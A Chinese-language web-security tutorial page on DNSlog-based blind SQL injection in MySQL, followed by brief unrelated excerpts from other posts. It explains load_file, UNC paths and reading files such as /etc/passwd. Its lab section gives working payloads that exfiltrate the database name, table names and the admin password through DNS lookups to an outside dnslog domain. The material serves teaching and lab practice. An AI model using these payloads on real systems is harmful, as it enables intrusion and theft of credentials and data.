web安全入門(第五章 3 dns注入

2021-10-06 17:51:26 字數 2706 閱讀 5879

一、dnslog的函式解析

1,基本

dns(協議 網域名稱 -> ip轉換)

日誌:基本上所有程式都會記錄日誌

dns 他實際上也是有日誌的

補充:問:dnslog注入是不是在linx系統可不可以用smb服務? (全稱是server message block , 用於在計算機間共享檔案、印表機、串列埠等,電腦上的網路上的芳鄰由它實現。)

答:在linx裡面預設不可以使用,因為linx沒有這個服務

2,函式用法:

select load_file(路徑); //這個函式用於讀取檔案內容,並返回輸出

例如:select load_file(c:/d/1.txt)

路徑可以是絕對也可以是相對,

注意mysql執行的相對路徑是 mysql/data/下 並不是mysql資料夾下

3,若load_file無法讀取檔案,去改一下設定:

在mysql檔案下my.ini的最下面加一行

secure_file_priv=

敏感檔案:

linux /etc/passwd

win c:/windows/win.ini

知道需不需要更改配置,直接去試試讀取敏感檔案

select load_file('c:/windows/win.ini');

4,unc路徑

unc: 簡單的說,就是網路(主要是區域網)上共享的資源

格式:\\servername\sharename,其中servername是伺服器名。sharename是共享資源的名稱。

如何共享:

首先建立資料夾,右鍵共享,高階共享。在以上選項可選時依次執行。

如何訪問:

在同網路中,輸入\\ + 對方的ip或+對方的主機名即可訪問對方共享的資料夾

例如:jkl計算機的名為a123的共享資料夾,

用unc表示:

\\jkl\a123

我們熟知的命令列訪問網路上的芳鄰,實際上應該稱作unc路徑訪問法

二、dnslog的使用場景

本質上就是win上的一種服務,linux上是沒有的在某些無法直接利用漏洞獲得回顯的情況下,

但是目標可以發起請求,這個時候就可以通過dnslog把想獲得的資料外帶出來。

對於sql盲注,常見的方法就是二分法去乙個個猜,但是這樣的方法麻煩不說,還很容易因為資料請求頻繁導致被ban。

所以可以將select到的資料傳送給乙個url,利用dns解析產生的記錄日誌來檢視資料

select load_file() (讀取檔案)可以請求遠端共享檔案。

比如:訪問baidu.com,訪問了網域名稱,網域名稱是由dns伺服器解析。

免費網域名稱平台:

免費的dnslog平台 提供免費網域名稱

select load_file(' abc');

網域名稱=>dns解析=>記錄某時某刻

select load_file(concat('//'(select database()),'網域名稱//abc') (select database())是乙個子查詢,會查詢當前庫名,有括號優先執行

select load_file('');

資料庫去訪問root.xx.***.***x的伺服器下的共享資料夾abc。

然後***.***x子網域名稱的解析都是在某台伺服器,然後他記錄下來了有人請求訪問root.xx.***.***x,然後在***這個平台上面顯示出來。

//開頭代表是unc路徑

三、靶場作業

判斷注入點

在url欄中輸入id=1 沒反應 輸入 id and 1=1 發現訪問被攔截 /123.txt?id=1%20and%20sleep(5) 發現有延遲,說明存在注入

02nz91.dnslog.cn 是網域名稱 abc 網域名稱下的資料夾

查詢庫名

and load_file(concat(『//』,(select database()),』.02nz91.dnslog.cn//abc』))

表名出現admin 說明第乙個表名是admin

and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database()limit 0,1),'.02nz91.dnslog.cn//abc'))

出現第二個表 news

and load_file(concat('//',(select table_name from information_schema.tables where table_schema=0x6d616e677a6875 limit 0,1),'.02nz91.dnslog.cn//abc'))

欄位名 limit 3,1/limit 2,1 /limit 1,1 出現全部字段

and load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 3,1),'.02nz91.dnslog.cn//abc'))

爆內容

and load_file(concat('//',(select password from admin limit 0,1),'.02nz91.dnslog.cn//abc'))

web安全入門(第五章 2 偏移注入

一 偏移注入使用場景 早sql注入得時候會遇到一些無法查詢列名得問題,比如系統自帶資料庫的 許可權不夠而無法訪問系統自帶庫。或者遇到access資料庫 當你猜到表名無法猜到欄位名的情況下,我們可以使用偏移注入來查詢那張表裡面的資料。向sqlmap之類的工具實際上是爆破欄位名的名字,但是如果欄位名稱比...

網路安全零基礎入門(第五章 4)盲注

注入攻擊本質 使用者輸入的資料當做 去執行 條件 使用者可以控制輸入 原本程式要執行的 拼接了使用者的內容,然後執行了 定義 盲注對應的是顯錯注入。但是很多時候,web伺服器關閉了錯誤回顯,這時候我們就無法實行sql注入了嗎?明顯不是這樣的。盲注在伺服器沒有回顯的時候完成了注入攻擊,由於沒有錯誤回顯...

演算法競賽經典入門 第五章階乘的精確值

include include const int maxn 3000 int f maxn int main for j maxn 1 j 0 j if f j break for i j i 0 i printf d f i printf n return 0 原來計算階乘是這樣的 includ...